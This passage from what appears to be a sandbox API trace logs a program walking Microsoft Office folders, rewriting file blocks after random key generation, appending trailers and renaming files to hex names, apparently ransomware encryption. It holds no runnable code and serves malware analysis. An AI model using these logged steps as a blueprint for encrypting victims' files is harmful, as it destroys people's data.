Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.138] wcscat (in: _Dest=0x1b85ee10, _Source="WIND.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV" [0097.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ee10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1150 [0097.139] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcde5800, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcde5800, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="WIND.WAV", cAlternateFileName="")) returned 0 [0097.139] FindClose (in: hFindFile=0x1cd9d310 | out: hFindFile=0x1cd9d310) returned 1 [0097.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0097.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e640) returned 1 [0097.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3420) returned 1 Thread: id = 415 os_tid = 0xfac [0090.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml")) returned 0x20 [0091.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml", dwFileAttributes=0x20) returned 1 [0091.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd0c [0091.037] GetFileSizeEx (in: hFile=0xd0c, lpFileSize=0x27a7f880 | out: lpFileSize=0x27a7f880*=370536) returned 1 [0091.037] SetFilePointerEx (in: hFile=0xd0c, liDistanceToMove=0x5a764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.037] ReadFile (in: hFile=0xd0c, lpBuffer=0x27a7f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27a7f848, lpOverlapped=0x0 | out: lpBuffer=0x27a7f800*, lpNumberOfBytesRead=0x27a7f848*=0x4, lpOverlapped=0x0) returned 1 [0091.065] SetFilePointerEx (in: hFile=0xd0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0091.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced71a0 [0091.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced71d0 [0091.065] NtQuerySystemTime (in: CurrentTime=0x27a7f740 | out: CurrentTime=0x27a7f740*=132462176969146000) returned 0x0 [0091.065] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0xcc54781 [0091.065] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x3db95f1f [0091.065] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x39892449 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x7c65be64 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x6ef4c97a [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x2f346e37 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x32c786d4 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x3e5b820f [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x666dd78f [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x521ed600 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x2c6f7e58 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x394eabb1 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x12b5f9dd [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x1d90daad [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x13e9fb93 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x7915091 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0xcf7cddc [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x5bebedcb [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x50612cfa [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x3d1bebcc [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x52aab5d5 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x55f68d52 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x6bd09f95 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x2ba9b3b1 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x385d3492 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x198c4f6b [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x273c34af [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x69ce0c08 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0xcf7cddc [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x1693864a [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x574c2a73 [0091.066] RtlRandomEx (in: Seed=0x27a7f730 | out: Seed=0x27a7f730) returned 0x199c3017 [0091.078] SetFilePointerEx (in: hFile=0xd0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.078] ReadFile (in: hFile=0xd0c, lpBuffer=0x20140d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27a7f7a0, lpOverlapped=0x0 | out: lpBuffer=0x20140d80*, lpNumberOfBytesRead=0x27a7f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0091.326] SetFilePointerEx (in: hFile=0xd0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0091.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed10 [0091.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab10 [0091.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab10) returned 1 [0091.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2016a520 [0091.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab10 [0091.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0091.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b440) returned 1 [0091.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed10) returned 1 [0091.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0091.327] WriteFile (in: hFile=0xd0c, lpBuffer=0x2016a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27a7f7a0, lpOverlapped=0x0 | out: lpBuffer=0x2016a520*, lpNumberOfBytesWritten=0x27a7f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016a520) returned 1 [0100.134] SetFilePointerEx (in: hFile=0xd0c, liDistanceToMove=0x30c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.134] ReadFile (in: hFile=0xd0c, lpBuffer=0x20140d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27a7f7a0, lpOverlapped=0x0 | out: lpBuffer=0x20140d80*, lpNumberOfBytesRead=0x27a7f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.422] SetFilePointerEx (in: hFile=0xd0c, liDistanceToMove=0x30c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97cb0 [0100.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0100.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261490 [0100.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261490) returned 1 [0100.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f9b4e0 [0100.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261490 [0100.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261460 [0100.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261460) returned 1 [0100.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0100.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97cb0) returned 1 [0100.876] WriteFile (in: hFile=0xd0c, lpBuffer=0x41f9b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27a7f7a0, lpOverlapped=0x0 | out: lpBuffer=0x41f9b4e0*, lpNumberOfBytesWritten=0x27a7f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f9b4e0) returned 1 [0128.849] SetFilePointerEx (in: hFile=0xd0c, liDistanceToMove=0x56b68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.849] ReadFile (in: hFile=0xd0c, lpBuffer=0x20140d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27a7f7a0, lpOverlapped=0x0 | out: lpBuffer=0x20140d80*, lpNumberOfBytesRead=0x27a7f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.850] SetFilePointerEx (in: hFile=0xd0c, liDistanceToMove=0x56b68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0128.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0128.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f80 [0128.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f80) returned 1 [0128.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f9b4e0 [0128.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f80 [0128.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d20 [0128.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d20) returned 1 [0128.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0128.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0128.851] WriteFile (hFile=0xd0c, lpBuffer=0x41f9b4e0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27a7f7a0, lpOverlapped=0x0) [0170.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f9b4e0) returned 1 [0170.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7a32d0 [0170.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f80) returned 1 [0170.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261490) returned 1 [0170.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab10) returned 1 [0170.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20140d80) returned 1 [0170.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd98020 [0170.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978f0 [0170.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0170.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab10 [0170.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab10) returned 1 [0170.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97940 [0170.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab10 [0170.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b620 [0170.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b620) returned 1 [0170.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0170.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978f0) returned 1 [0170.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x166) returned 0x1b82f830 [0170.977] SetFilePointerEx (in: hFile=0xd0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0170.977] WriteFile (in: hFile=0xd0c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x166, lpNumberOfBytesWritten=0x27a7f850, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x27a7f850*=0x166, lpOverlapped=0x0) returned 1 [0181.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420598d0 [0181.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0181.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa50 [0181.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa50) returned 1 [0181.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9edb0 [0181.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa50 [0181.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0181.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a360) returned 1 [0181.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0181.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420598d0) returned 1 [0181.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x69) returned 0x1b866740 [0181.004] sprintf (in: _Dest=0x1b866740, _Format="%c%c" | out: _Dest="85") returned 2 [0181.004] sprintf (in: _Dest=0x1b866742, _Format="%c%c" | out: _Dest="1d") returned 2 [0181.004] sprintf (in: _Dest=0x1b866744, _Format="%c%c" | out: _Dest="19") returned 2 [0181.004] sprintf (in: _Dest=0x1b866746, _Format="%c%c" | out: _Dest="89") returned 2 [0181.004] sprintf (in: _Dest=0x1b866748, _Format="%c%c" | out: _Dest="d7") returned 2 [0181.004] sprintf (in: _Dest=0x1b86674a, _Format="%c%c" | out: _Dest="b0") returned 2 [0181.004] sprintf (in: _Dest=0x1b86674c, _Format="%c%c" | out: _Dest="34") returned 2 [0181.004] sprintf (in: _Dest=0x1b86674e, _Format="%c%c" | out: _Dest="86") returned 2 [0181.004] sprintf (in: _Dest=0x1b866750, _Format="%c%c" | out: _Dest="6d") returned 2 [0181.004] sprintf (in: _Dest=0x1b866752, _Format="%c%c" | out: _Dest="fe") returned 2 [0181.004] sprintf (in: _Dest=0x1b866754, _Format="%c%c" | out: _Dest="83") returned 2 [0181.004] sprintf (in: _Dest=0x1b866756, _Format="%c%c" | out: _Dest="e5") returned 2 [0181.004] sprintf (in: _Dest=0x1b866758, _Format="%c%c" | out: _Dest="68") returned 2 [0181.004] sprintf (in: _Dest=0x1b86675a, _Format="%c%c" | out: _Dest="2e") returned 2 [0181.005] sprintf (in: _Dest=0x1b86675c, _Format="%c%c" | out: _Dest="fc") returned 2 [0181.005] sprintf (in: _Dest=0x1b86675e, _Format="%c%c" | out: _Dest="af") returned 2 [0181.005] sprintf (in: _Dest=0x1b866760, _Format="%c%c" | out: _Dest="32") returned 2 [0181.005] sprintf (in: _Dest=0x1b866762, _Format="%c%c" | out: _Dest="50") returned 2 [0181.005] sprintf (in: _Dest=0x1b866764, _Format="%c%c" | out: _Dest="f3") returned 2 [0181.005] sprintf (in: _Dest=0x1b866766, _Format="%c%c" | out: _Dest="ac") returned 2 [0181.005] sprintf (in: _Dest=0x1b866768, _Format="%c%c" | out: _Dest="52") returned 2 [0181.005] sprintf (in: _Dest=0x1b86676a, _Format="%c%c" | out: _Dest="03") returned 2 [0181.005] sprintf (in: _Dest=0x1b86676c, _Format="%c%c" | out: _Dest="95") returned 2 [0181.005] sprintf (in: _Dest=0x1b86676e, _Format="%c%c" | out: _Dest="cf") returned 2 [0181.005] sprintf (in: _Dest=0x1b866770, _Format="%c%c" | out: _Dest="fd") returned 2 [0181.005] sprintf (in: _Dest=0x1b866772, _Format="%c%c" | out: _Dest="ea") returned 2 [0181.005] sprintf (in: _Dest=0x1b866774, _Format="%c%c" | out: _Dest="24") returned 2 [0181.005] sprintf (in: _Dest=0x1b866776, _Format="%c%c" | out: _Dest="69") returned 2 [0181.005] sprintf (in: _Dest=0x1b866778, _Format="%c%c" | out: _Dest="d6") returned 2 [0181.005] sprintf (in: _Dest=0x1b86677a, _Format="%c%c" | out: _Dest="d4") returned 2 [0181.005] sprintf (in: _Dest=0x1b86677c, _Format="%c%c" | out: _Dest="c0") returned 2 [0181.005] sprintf (in: _Dest=0x1b86677e, _Format="%c%c" | out: _Dest="51") returned 2 [0181.005] sprintf (in: _Dest=0x1b866780, _Format="%c%c" | out: _Dest="05") returned 2 [0181.005] sprintf (in: _Dest=0x1b866782, _Format="%c%c" | out: _Dest="50") returned 2 [0181.006] sprintf (in: _Dest=0x1b866784, _Format="%c%c" | out: _Dest="79") returned 2 [0181.006] sprintf (in: _Dest=0x1b866786, _Format="%c%c" | out: _Dest="94") returned 2 [0181.006] sprintf (in: _Dest=0x1b866788, _Format="%c%c" | out: _Dest="ae") returned 2 [0181.006] sprintf (in: _Dest=0x1b86678a, _Format="%c%c" | out: _Dest="22") returned 2 [0181.006] sprintf (in: _Dest=0x1b86678c, _Format="%c%c" | out: _Dest="9f") returned 2 [0181.006] sprintf (in: _Dest=0x1b86678e, _Format="%c%c" | out: _Dest="54") returned 2 [0181.006] sprintf (in: _Dest=0x1b866790, _Format="%c%c" | out: _Dest="6e") returned 2 [0181.006] sprintf (in: _Dest=0x1b866792, _Format="%c%c" | out: _Dest="fb") returned 2 [0181.006] sprintf (in: _Dest=0x1b866794, _Format="%c%c" | out: _Dest="25") returned 2 [0181.006] sprintf (in: _Dest=0x1b866796, _Format="%c%c" | out: _Dest="83") returned 2 [0181.006] sprintf (in: _Dest=0x1b866798, _Format="%c%c" | out: _Dest="d7") returned 2 [0181.006] sprintf (in: _Dest=0x1b86679a, _Format="%c%c" | out: _Dest="15") returned 2 [0181.006] sprintf (in: _Dest=0x1b86679c, _Format="%c%c" | out: _Dest="c6") returned 2 [0181.006] sprintf (in: _Dest=0x1b86679e, _Format="%c%c" | out: _Dest="c3") returned 2 [0181.006] sprintf (in: _Dest=0x1b8667a0, _Format="%c%c" | out: _Dest="d5") returned 2 [0181.006] sprintf (in: _Dest=0x1b8667a2, _Format="%c%c" | out: _Dest="6d") returned 2 [0181.006] sprintf (in: _Dest=0x1b8667a4, _Format="%c%c" | out: _Dest="00") returned 2 [0181.006] sprintf (in: _Dest=0x1b8667a6, _Format="%c%c" | out: _Dest="a0") returned 2 [0181.006] RtlInitAnsiString (in: DestinationString=0x27a7f8c8, SourceString="851d1989d7b034866dfe83e5682efcaf3250f3ac520395cffdea2469d6d4c05105507994ae229f546efb2583d715c6c3d56d00a0" | out: DestinationString="851d1989d7b034866dfe83e5682efcaf3250f3ac520395cffdea2469d6d4c05105507994ae229f546efb2583d715c6c3d56d00a0") [0181.006] RtlAnsiStringToUnicodeString (in: DestinationString=0x27a7f898, SourceString="851d1989d7b034866dfe83e5682efcaf3250f3ac520395cffdea2469d6d4c05105507994ae229f546efb2583d715c6c3d56d00a0", AllocateDestinationString=1 | out: DestinationString="851d1989d7b034866dfe83e5682efcaf3250f3ac520395cffdea2469d6d4c05105507994ae229f546efb2583d715c6c3d56d00a0") returned 0x0 [0181.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776e70 [0181.007] RtlFreeAnsiString (AnsiString="8") [0181.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0181.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9edb0) returned 1 [0181.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa50) returned 1 [0181.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0185.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97940) returned 1 [0185.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab10) returned 1 [0185.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0185.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a32d0) returned 1 [0185.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced71a0) returned 1 [0185.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7200) returned 1 [0185.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7230) returned 1 [0185.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a5bd0 [0185.989] wcscat (in: _Dest=0x1b7a5bd0, _Source="851d1989d7b034866dfe83e568" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\851d1989d7b034866dfe83e568") returned="C:\\Program Files\\Microsoft Office\\Office14\\851d1989d7b034866dfe83e568" [0185.989] wcscat (in: _Dest=0x1b7a5bd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\851d1989d7b034866dfe83e568.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\851d1989d7b034866dfe83e568.2f9b60" [0185.989] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\851d1989d7b034866dfe83e568.2f9b60", NtPathName=0x27a7f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\851d1989d7b034866dfe83e568.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0185.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x42c374d0 Thread: id = 416 os_tid = 0xfb0 [0090.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml")) returned 0x20 [0090.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml", dwFileAttributes=0x20) returned 1 [0091.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0091.002] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x27c6fda0 | out: lpFileSize=0x27c6fda0*=10588) returned 1 [0091.002] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x2958, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.002] ReadFile (in: hFile=0xcfc, lpBuffer=0x27c6fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27c6fd68, lpOverlapped=0x0 | out: lpBuffer=0x27c6fd20*, lpNumberOfBytesRead=0x27c6fd68*=0x4, lpOverlapped=0x0) returned 1 [0091.016] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85abd0 [0091.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0091.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8596d0 [0091.016] NtQuerySystemTime (in: CurrentTime=0x27c6fc60 | out: CurrentTime=0x27c6fc60*=132462176968678000) returned 0x0 [0091.016] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x2dc82791 [0091.016] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x16d96d18 [0091.016] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x57c750b9 [0091.016] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x200e2661 [0091.016] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x4b98b0eb [0091.016] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x276485b1 [0091.016] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x5c689673 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x176500f0 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x459a62c1 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x6bdb1354 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x493f5a02 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x3827e031 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x2ac4ea11 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x243f24d3 [0091.017] 